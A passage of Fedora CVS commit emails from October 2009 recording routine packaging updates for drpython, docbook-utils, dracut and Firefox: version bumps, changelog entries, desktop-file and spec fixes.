 # Change Windows line endings to Unix line endings
 for file in $(find *.txt *.TXT -type f); do
@@ -80,6 +79,10 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1
+- Fixed drpython desktop file which solves bz 487798
+- New upstream release which fixes a lot of bugs refer to Changelog
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.11.0-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Jun 2009 01:19:45 -0000	1.1
+++ import.log	27 Oct 2009 13:53:23 -0000	1.2
@@ -1 +1,2 @@
 drpython-3_11_0-5_fc11:HEAD:drpython-3.11.0-5.fc11.src.rpm:1244942292
+drpython-3_11_1-1_fc12:HEAD:drpython-3.11.1-1.fc12.src.rpm:1256651529


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Mar 2008 14:21:08 -0000	1.3
+++ sources	27 Oct 2009 13:53:23 -0000	1.4
@@ -1 +1 @@
-af7e18ebfd7788c6ccbb9758c983f0d5  drpython-3.11.0.zip
+a972744c88cdfdf76b0bfdc15f553446  drpython-3.11.1.zip



From mwiriadi at fedoraproject.org  Tue Oct 27 13:55:00 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 13:55:00 +0000 (UTC)
Subject: rpms/drpython/F-11 .cvsignore, 1.3, 1.4 drpython.desktop, 1.1,
	1.2 drpython.spec, 1.6, 1.7 import.log, 1.1, 1.2 sources, 1.3, 1.4
Message-ID: <20091027135500.40CBB11C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14402/F-11

Modified Files:
	.cvsignore drpython.desktop drpython.spec import.log sources 
Log Message:
Fix desktop file which closes bz 487798
Lots of bug fixes refer to Changelog file




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Mar 2008 14:21:08 -0000	1.3
+++ .cvsignore	27 Oct 2009 13:55:00 -0000	1.4
@@ -1 +1 @@
-drpython-3.11.0.zip
+drpython-3.11.1.zip


Index: drpython.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-11/drpython.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- drpython.desktop	5 Jan 2008 22:50:25 -0000	1.1
+++ drpython.desktop	27 Oct 2009 13:55:00 -0000	1.2
@@ -8,4 +8,4 @@ MimeType=application/x-designer;
 Terminal=false
 Encoding=UTF-8
 Type=Application
-Categories=Development;
+Categories=Development;IDE;


Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-11/drpython.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- drpython.spec	14 Jun 2009 01:22:43 -0000	1.6
+++ drpython.spec	27 Oct 2009 13:55:00 -0000	1.7
@@ -1,9 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           drpython
-Version:        3.11.0
-Release:        5%{?dist}
+Version:        3.11.1
+Release:        1%{?dist}
 Summary:        A simple Python IDE designed with teaching in mind
-Epoch:          1
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://drpython.sourceforge.net/
@@ -23,7 +22,7 @@ and has a clean, simple interface. It is
 using wxPython as the gui.
 
 %prep
-%setup -q -n %{name}
+%setup -q -n %{name}_%{version}
 
 # Change Windows line endings to Unix line endings
 for file in $(find *.txt *.TXT -type f); do
@@ -80,6 +79,13 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1
+- Fixed drpython desktop file which solves bz 487798
+- New upstream release which fixes a lot of bugs refer to Changelog
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.11.0-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Jun 13 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 1:3.11.0-5
 - Fixed the drpython bin file to look for python instead of hard coding the python location
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Jun 2009 01:22:43 -0000	1.1
+++ import.log	27 Oct 2009 13:55:00 -0000	1.2
@@ -1 +1,2 @@
 drpython-3_11_0-5_fc11:F-11:drpython-3.11.0-5.fc11.src.rpm:1244942474
+drpython-3_11_1-1_fc12:F-11:drpython-3.11.1-1.fc12.src.rpm:1256651656


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Mar 2008 14:21:08 -0000	1.3
+++ sources	27 Oct 2009 13:55:00 -0000	1.4
@@ -1 +1 @@
-af7e18ebfd7788c6ccbb9758c983f0d5  drpython-3.11.0.zip
+a972744c88cdfdf76b0bfdc15f553446  drpython-3.11.1.zip



From mwiriadi at fedoraproject.org  Tue Oct 27 13:56:16 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 13:56:16 +0000 (UTC)
Subject: rpms/drpython/F-12 .cvsignore, 1.3, 1.4 drpython.desktop, 1.1,
	1.2 drpython.spec, 1.7, 1.8 import.log, 1.1, 1.2 sources, 1.3, 1.4
Message-ID: <20091027135616.A537011C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14713/F-12

Modified Files:
	.cvsignore drpython.desktop drpython.spec import.log sources 
Log Message:
Fix desktop file which closes 487798
Lots of bug fixes refer to Changelog




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Mar 2008 14:21:08 -0000	1.3
+++ .cvsignore	27 Oct 2009 13:56:16 -0000	1.4
@@ -1 +1 @@
-drpython-3.11.0.zip
+drpython-3.11.1.zip


Index: drpython.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-12/drpython.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- drpython.desktop	5 Jan 2008 22:50:25 -0000	1.1
+++ drpython.desktop	27 Oct 2009 13:56:16 -0000	1.2
@@ -8,4 +8,4 @@ MimeType=application/x-designer;
 Terminal=false
 Encoding=UTF-8
 Type=Application
-Categories=Development;
+Categories=Development;IDE;


Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-12/drpython.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- drpython.spec	24 Jul 2009 20:33:33 -0000	1.7
+++ drpython.spec	27 Oct 2009 13:56:16 -0000	1.8
@@ -1,9 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           drpython
-Version:        3.11.0
-Release:        6%{?dist}
+Version:        3.11.1
+Release:        1%{?dist}
 Summary:        A simple Python IDE designed with teaching in mind
-Epoch:          1
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://drpython.sourceforge.net/
@@ -23,7 +22,7 @@ and has a clean, simple interface. It is
 using wxPython as the gui.
 
 %prep
-%setup -q -n %{name}
+%setup -q -n %{name}_%{version}
 
 # Change Windows line endings to Unix line endings
 for file in $(find *.txt *.TXT -type f); do
@@ -80,6 +79,10 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1
+- Fixed drpython desktop file which solves bz 487798
+- New upstream release which fixes a lot of bugs refer to Changelog
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.11.0-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Jun 2009 01:19:45 -0000	1.1
+++ import.log	27 Oct 2009 13:56:16 -0000	1.2
@@ -1 +1,2 @@
 drpython-3_11_0-5_fc11:HEAD:drpython-3.11.0-5.fc11.src.rpm:1244942292
+drpython-3_11_1-1_fc12:F-12:drpython-3.11.1-1.fc12.src.rpm:1256651729


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Mar 2008 14:21:08 -0000	1.3
+++ sources	27 Oct 2009 13:56:16 -0000	1.4
@@ -1 +1 @@
-af7e18ebfd7788c6ccbb9758c983f0d5  drpython-3.11.0.zip
+a972744c88cdfdf76b0bfdc15f553446  drpython-3.11.1.zip



From ovasik at fedoraproject.org  Tue Oct 27 14:01:44 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Tue, 27 Oct 2009 14:01:44 +0000 (UTC)
Subject: rpms/docbook-utils/devel docbook-utils.spec,1.37,1.38
Message-ID: <20091027140144.332E711C00E6@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/docbook-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15506

Modified Files:
	docbook-utils.spec 
Log Message:
do not obsolete self


Index: docbook-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/devel/docbook-utils.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- docbook-utils.spec	12 Oct 2009 08:54:20 -0000	1.37
+++ docbook-utils.spec	27 Oct 2009 14:01:43 -0000	1.38
@@ -1,6 +1,6 @@
 Name: docbook-utils
 Version: 0.6.14
-Release: 22{?dist}
+Release: 23%{?dist}
 Group: Applications/Text
 
 Summary: Shell scripts for managing DocBook documents
@@ -25,7 +25,7 @@ Source2: gdp-both.dsl
 #You could check it at http://sourceforge.net/projects/docbook2x/
 Source3: docbook2man-spec.pl
 
-Obsoletes: stylesheets <= %{version}-%{release}
+Obsoletes: stylesheets < %{version}-%{release}
 Provides: stylesheets = %{version}-%{release}
 
 Patch0: docbook-utils-spaces.patch
@@ -134,6 +134,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/docbook2ps.*
 
 %changelog
+* Tue Oct 27 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-23
+- do not obsolete self
+
 * Mon Oct 12 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-22
 - fix url in pdf subpackage
 



From mwiriadi at fedoraproject.org  Tue Oct 27 14:08:26 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 14:08:26 +0000 (UTC)
Subject: rpms/drpython/F-10 import.log, NONE, 1.1 .cvsignore, 1.3,
	1.4 drpython.desktop, 1.1, 1.2 drpython.sh, 1.1,
	1.2 drpython.spec, 1.3, 1.4 sources, 1.3, 1.4
Message-ID: <20091027140826.C46F511C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16218/F-10

Modified Files:
	.cvsignore drpython.desktop drpython.sh drpython.spec sources 
Added Files:
	import.log 
Log Message:
Updated desktop file which fixes bz 487798
New upstream release which fixes a lot of bugs refer to Changelog




--- NEW FILE import.log ---
drpython-3_11_1-1_fc12:F-10:drpython-3.11.1-1.fc12.src.rpm:1256652426


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Mar 2008 14:21:08 -0000	1.3
+++ .cvsignore	27 Oct 2009 14:08:26 -0000	1.4
@@ -1 +1 @@
-drpython-3.11.0.zip
+drpython-3.11.1.zip


Index: drpython.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-10/drpython.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- drpython.desktop	5 Jan 2008 22:50:25 -0000	1.1
+++ drpython.desktop	27 Oct 2009 14:08:26 -0000	1.2
@@ -8,4 +8,4 @@ MimeType=application/x-designer;
 Terminal=false
 Encoding=UTF-8
 Type=Application
-Categories=Development;
+Categories=Development;IDE;


Index: drpython.sh
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-10/drpython.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- drpython.sh	5 Jan 2008 22:50:25 -0000	1.1
+++ drpython.sh	27 Oct 2009 14:08:26 -0000	1.2
@@ -1,3 +1,9 @@
-#!/bin/sh
+#!/usr/bin/python
+import os
+import distutils.sysconfig
 
-/usr/lib/python2.5/site-packages/drpython/drpython.py
+py = distutils.sysconfig.get_python_lib()
+py = py + "/drpython"
+os.chdir(py)
+cwd = os.getcwd()
+os.system (py + "/drpython.py")


Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-10/drpython.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- drpython.spec	24 Mar 2008 14:30:42 -0000	1.3
+++ drpython.spec	27 Oct 2009 14:08:26 -0000	1.4
@@ -1,10 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           drpython
-Version:        3.11.0
-Release:        2%{?dist}
-Epoch:          1
+Version:        3.11.1
+Release:        1%{?dist}
 Summary:        A simple Python IDE designed with teaching in mind
-
 Group:          Development/Tools
 License:        GPLv2+
 URL:            http://drpython.sourceforge.net/
@@ -24,7 +22,7 @@ and has a clean, simple interface. It is
 using wxPython as the gui.
 
 %prep
-%setup -q -n %{name}
+%setup -q -n %{name}_%{version}
 
 # Change Windows line endings to Unix line endings
 for file in $(find *.txt *.TXT -type f); do
@@ -53,6 +51,8 @@ install -pm 0655 build/lib/%{name}/drZip
 install -pm 0655 build/lib/%{name}/drSetupPreferences.py $RPM_BUILD_ROOT%{python_sitelib}/%{name}/drSetupPreferences.py
 install -pDm 0644 build/lib/%{name}/bitmaps/drpython.png $RPM_BUILD_ROOT%{_datadir}/pixmaps/drpython.png
 install -pDm 0655 %{SOURCE2} $RPM_BUILD_ROOT%{_bindir}/drpython
+
+
 desktop-file-install --vendor="fedora"                  \
      --dir=${RPM_BUILD_ROOT}%{_datadir}/applications \
      %{SOURCE1}
@@ -79,6 +79,22 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1
+- Fixed drpython desktop file which solves bz 487798
+- New upstream release which fixes a lot of bugs refer to Changelog
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.11.0-6
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jun 13 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 1:3.11.0-5
+- Fixed the drpython bin file to look for python instead of hard coding the python location
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:3.11.0-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 1:3.11.0-3
+- Rebuild for Python 2.6
+
 * Mon Mar 24 2008 Marc Wiriadisastra <marc at mwiriadi.id.au> 1:3.11.0-2
 - Added epoch 1 as requested
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Mar 2008 14:21:08 -0000	1.3
+++ sources	27 Oct 2009 14:08:26 -0000	1.4
@@ -1 +1 @@
-af7e18ebfd7788c6ccbb9758c983f0d5  drpython-3.11.0.zip
+a972744c88cdfdf76b0bfdc15f553446  drpython-3.11.1.zip



From harald at fedoraproject.org  Tue Oct 27 14:13:16 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Tue, 27 Oct 2009 14:13:16 +0000 (UTC)
Subject: rpms/dracut/devel .cvsignore, 1.24, 1.25 dracut.spec, 1.40,
	1.41 sources, 1.25, 1.26
Message-ID: <20091027141316.CFA7111C00E6@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/dracut/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17024

Modified Files:
	.cvsignore dracut.spec sources 
Log Message:
* Tue Oct 27 2009 Harald Hoyer <harald at redhat.com> 002-18
- renamed lvm/device-mapper udev rules according to upstream changes
- fixed dracut search path issue



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	26 Oct 2009 14:51:57 -0000	1.24
+++ .cvsignore	27 Oct 2009 14:13:15 -0000	1.25
@@ -1 +1 @@
-dracut-002-35758e5c.tar.bz2
+dracut-002-413bcf78.tar.bz2


Index: dracut.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/dracut.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- dracut.spec	26 Oct 2009 14:51:57 -0000	1.40
+++ dracut.spec	27 Oct 2009 14:13:15 -0000	1.41
@@ -1,4 +1,4 @@
-%define gittag 35758e5c
+%define gittag 413bcf78
 %define with_switch_root 1
 
 %if 0%{?fedora} > 11
@@ -18,7 +18,7 @@
 
 Name: dracut
 Version: 002
-Release: 17%{?rdist}
+Release: 18%{?rdist}
 Summary: Initramfs generator using udev
 Group: System Environment/Base		
 License: GPLv2+	
@@ -194,6 +194,10 @@ rm -rf $RPM_BUILD_ROOT
 %dir /var/lib/dracut/overlay
 
 %changelog
+* Tue Oct 27 2009 Harald Hoyer <harald at redhat.com> 002-18
+- renamed lvm/device-mapper udev rules according to upstream changes
+- fixed dracut search path issue
+
 * Mon Oct 26 2009 Harald Hoyer <harald at redhat.com> 002-17
 - load dm_mod module (bug #530540)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dracut/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	26 Oct 2009 14:51:57 -0000	1.25
+++ sources	27 Oct 2009 14:13:15 -0000	1.26
@@ -1 +1 @@
-73db1d86d5400708d3f8cfcafebd0847  dracut-002-35758e5c.tar.bz2
+7cdf072d0b2c256ce20f0319ab90bfbb  dracut-002-413bcf78.tar.bz2



From mwiriadi at fedoraproject.org  Tue Oct 27 14:14:02 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 14:14:02 +0000 (UTC)
Subject: rpms/drpython/devel drpython.spec,1.8,1.9 import.log,1.2,1.3
Message-ID: <20091027141402.994F111C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17439/devel

Modified Files:
	drpython.spec import.log 
Log Message:
Fix upgrade path cause I'm dumb




Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/drpython.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- drpython.spec	27 Oct 2009 13:53:23 -0000	1.8
+++ drpython.spec	27 Oct 2009 14:14:02 -0000	1.9
@@ -2,6 +2,7 @@
 Name:           drpython
 Version:        3.11.1
 Release:        1%{?dist}
+Epoch:          1
 Summary:        A simple Python IDE designed with teaching in mind
 Group:          Development/Tools
 License:        GPLv2+
@@ -79,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 1:3.11.1-1
+- Fix upgrade path cause I'm dumb
+
 * Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1
 - Fixed drpython desktop file which solves bz 487798
 - New upstream release which fixes a lot of bugs refer to Changelog


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	27 Oct 2009 13:53:23 -0000	1.2
+++ import.log	27 Oct 2009 14:14:02 -0000	1.3
@@ -1,2 +1,3 @@
 drpython-3_11_0-5_fc11:HEAD:drpython-3.11.0-5.fc11.src.rpm:1244942292
 drpython-3_11_1-1_fc12:HEAD:drpython-3.11.1-1.fc12.src.rpm:1256651529
+drpython-3_11_1-1_fc12:HEAD:drpython-3.11.1-1.fc12.src.rpm:1256652798



From xhorak at fedoraproject.org  Tue Oct 27 14:14:27 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:14:27 +0000 (UTC)
Subject: rpms/firefox/F-12 .cvsignore, 1.100, 1.101 firefox.spec, 1.338,
	1.339 sources, 1.113, 1.114
Message-ID: <20091027141427.8E14511C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/firefox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17759

Modified Files:
	.cvsignore firefox.spec sources 
Log Message:
Update to 3.5.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-12/.cvsignore,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- .cvsignore	11 Sep 2009 07:07:42 -0000	1.100
+++ .cvsignore	27 Oct 2009 14:14:26 -0000	1.101
@@ -6,3 +6,5 @@ firefox-3.5.2-source.tar.bz2
 firefox-langpacks-3.5.2-20090803.tar.bz2
 firefox-3.5.3-source.tar.bz2
 firefox-langpacks-3.5.3-20090907.tar.bz2
+firefox-3.5.4-source.tar.bz2
+firefox-langpacks-3.5.4-20091026.tar.bz2


Index: firefox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-12/firefox.spec,v
retrieving revision 1.338
retrieving revision 1.339
diff -u -p -r1.338 -r1.339
--- firefox.spec	11 Sep 2009 07:07:44 -0000	1.338
+++ firefox.spec	27 Oct 2009 14:14:27 -0000	1.339
@@ -5,7 +5,7 @@
 %define mozappdir            %{_libdir}/%{name}-%{internal_version}
 %define tarballdir mozilla-1.9.1
 
-%define xulrunner_version 1.9.1.3-1
+%define xulrunner_version 1.9.1.4-1
 %define internal_version %{version}
 
 %define official_branding    1
@@ -18,7 +18,7 @@
 
 Summary:        Mozilla Firefox Web browser
 Name:           firefox
-Version:        3.5.3
+Version:        3.5.4
 Release:        1%{?dist}
 URL:            http://www.mozilla.org/projects/firefox/
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
@@ -30,7 +30,7 @@ Group:          Applications/Internet
 %endif
 Source0:        %{tarball}
 %if %{build_langpacks}
-Source2:        firefox-langpacks-%{version}-20090907.tar.bz2
+Source2:        firefox-langpacks-%{version}-20091026.tar.bz2
 %endif
 Source10:       firefox-mozconfig
 Source11:       firefox-mozconfig-branded
@@ -315,6 +315,7 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{mozappdir}/application.ini
 %dir %{mozappdir}/modules
 %{mozappdir}/modules/distribution.js
+%{mozappdir}/modules/openLocationLastURL.jsm
 %{mozappdir}/.autoreg
 # XXX See if these are needed still
 %{mozappdir}/updater*
@@ -329,6 +330,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 #---------------------------------------------------------------------
 
 %changelog
+* Mon Oct 26 2009 Jan Horak <jhorak at redhat.com> - 3.5.4-1
+- Update to 3.5.4
+
 * Mon Sep  7 2009 Jan Horak <jhorak at redhat.com> - 3.5.3-1
 - Update to 3.5.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-12/sources,v
retrieving revision 1.113
retrieving revision 1.114
diff -u -p -r1.113 -r1.114
--- sources	11 Sep 2009 07:07:45 -0000	1.113
+++ sources	27 Oct 2009 14:14:27 -0000	1.114
@@ -1,2 +1,2 @@
-ca167e69180ab1230aea0763da270a95  firefox-3.5.3-source.tar.bz2
-66dd2b4e45da33ccb57846e0f9a2cd31  firefox-langpacks-3.5.3-20090907.tar.bz2
+0b6ccb1e50d96b7127a18a69399fcf05  firefox-3.5.4-source.tar.bz2
+b995eeffec0f93bb94a810e1fa77345c  firefox-langpacks-3.5.4-20091026.tar.bz2



From xhorak at fedoraproject.org  Tue Oct 27 14:16:13 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:16:13 +0000 (UTC)
Subject: rpms/firefox/F-11 .cvsignore, 1.101, 1.102 firefox.spec, 1.338,
	1.339 sources, 1.114, 1.115
Message-ID: <20091027141613.9ADFF11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/firefox/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18155

Modified Files:
	.cvsignore firefox.spec sources 
Log Message:
Updated to 3.5.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-11/.cvsignore,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- .cvsignore	9 Sep 2009 13:38:37 -0000	1.101
+++ .cvsignore	27 Oct 2009 14:16:13 -0000	1.102
@@ -1,2 +1,4 @@
 firefox-langpacks-3.5.3-20090907.tar.bz2
 firefox-3.5.3-source.tar.bz2
+firefox-3.5.4-source.tar.bz2
+firefox-langpacks-3.5.4-20091026.tar.bz2


Index: firefox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-11/firefox.spec,v
retrieving revision 1.338
retrieving revision 1.339
diff -u -p -r1.338 -r1.339
--- firefox.spec	9 Sep 2009 12:58:55 -0000	1.338
+++ firefox.spec	27 Oct 2009 14:16:13 -0000	1.339
@@ -5,7 +5,7 @@
 %define mozappdir            %{_libdir}/%{name}-%{internal_version}
 %define tarballdir mozilla-1.9.1
 
-%define xulrunner_version 1.9.1.3
+%define xulrunner_version 1.9.1.4
 %define internal_version %{version}
 
 %define official_branding    1
@@ -18,7 +18,7 @@
 
 Summary:        Mozilla Firefox Web browser
 Name:           firefox
-Version:        3.5.3
+Version:        3.5.4
 Release:        1%{?dist}
 URL:            http://www.mozilla.org/projects/firefox/
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
@@ -30,7 +30,7 @@ Group:          Applications/Internet
 %endif
 Source0:        %{tarball}
 %if %{build_langpacks}
-Source2:        firefox-langpacks-%{version}-20090907.tar.bz2
+Source2:        firefox-langpacks-%{version}-20091026.tar.bz2
 %endif
 Source10:       firefox-mozconfig
 Source11:       firefox-mozconfig-branded
@@ -326,6 +326,7 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{mozappdir}/application.ini
 %dir %{mozappdir}/modules
 %{mozappdir}/modules/distribution.js
+%{mozappdir}/modules/openLocationLastURL.jsm
 %{mozappdir}/.autoreg
 # XXX See if these are needed still
 %{mozappdir}/updater*
@@ -340,6 +341,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 #---------------------------------------------------------------------
 
 %changelog
+* Mon Oct 26 2009 Jan Horak <jhorak at redhat.com> - 3.5.4-1
+- Updated to 3.5.4
+
 * Mon Sep  7 2009 Jan Horak <jhorak at redhat.com> - 3.5.3-1
 - Updated to 3.5.3.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-11/sources,v
retrieving revision 1.114
retrieving revision 1.115
diff -u -p -r1.114 -r1.115
--- sources	9 Sep 2009 13:38:37 -0000	1.114
+++ sources	27 Oct 2009 14:16:13 -0000	1.115
@@ -1,2 +1,2 @@
-66dd2b4e45da33ccb57846e0f9a2cd31  firefox-langpacks-3.5.3-20090907.tar.bz2
-ca167e69180ab1230aea0763da270a95  firefox-3.5.3-source.tar.bz2
+0b6ccb1e50d96b7127a18a69399fcf05  firefox-3.5.4-source.tar.bz2
+b995eeffec0f93bb94a810e1fa77345c  firefox-langpacks-3.5.4-20091026.tar.bz2



From mwiriadi at fedoraproject.org  Tue Oct 27 14:17:01 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 14:17:01 +0000 (UTC)
Subject: rpms/drpython/F-11 drpython.spec,1.7,1.8 import.log,1.2,1.3
